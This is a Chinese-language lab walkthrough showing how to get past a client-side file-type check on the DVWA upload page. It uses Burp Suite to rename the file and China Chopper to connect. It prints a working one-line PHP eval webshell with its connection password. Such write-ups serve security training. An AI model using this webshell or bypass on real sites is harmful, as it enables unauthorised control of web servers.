前言
通常再一個web程序中，一般會存在登陸注冊功能，登陸后一般會有上傳頭像等功能，如果上傳驗證不嚴格就可能造成攻擊者直接上傳木馬，進而控制整個web業務控制權。下面通過實例，如果程序只進行了客戶端JavaScript檢測，咱們如何來繞過。
正文
工具准備：DVWA程序，burpsuite，中國菜刀。
首先本地創建一個.txt文檔，里面寫入咱們的一句話木馬，然后將后綴名改為.php,一句話木馬為
<?php eval($_POST[-7]);?> //連接菜刀的密碼為-7
然后打開DVWA程序，將安全模式改為medium(中級),點擊 File Upload模塊，然后將咱們剛才創建的一句話.php文件上傳，然后咱們發現被阻止了，只允許上傳JPEG和PNG兩種格式。
接下來。咱們將寫入一句話的文件，后綴改為.png格式，然后通過burpsuite抓包
然后咱們發現，放行后，文件成功上傳
然后咱們去根目錄找一找，果然找到了咱們上傳的文件
接下來，打開中國菜刀，輸入上傳木馬的路徑，輸入密碼，發現獲取到目標網站的webshell
總結
一，找到文件上傳點，測試發現存在上傳漏洞。
二，發現只進行了客戶端JavaScript檢測。
三，通過burpsuite 抓包，修改文件后綴名繞過檢測，上傳一句話木馬。
四，通過中國菜刀進行連接
五，獲取到目標網站webshell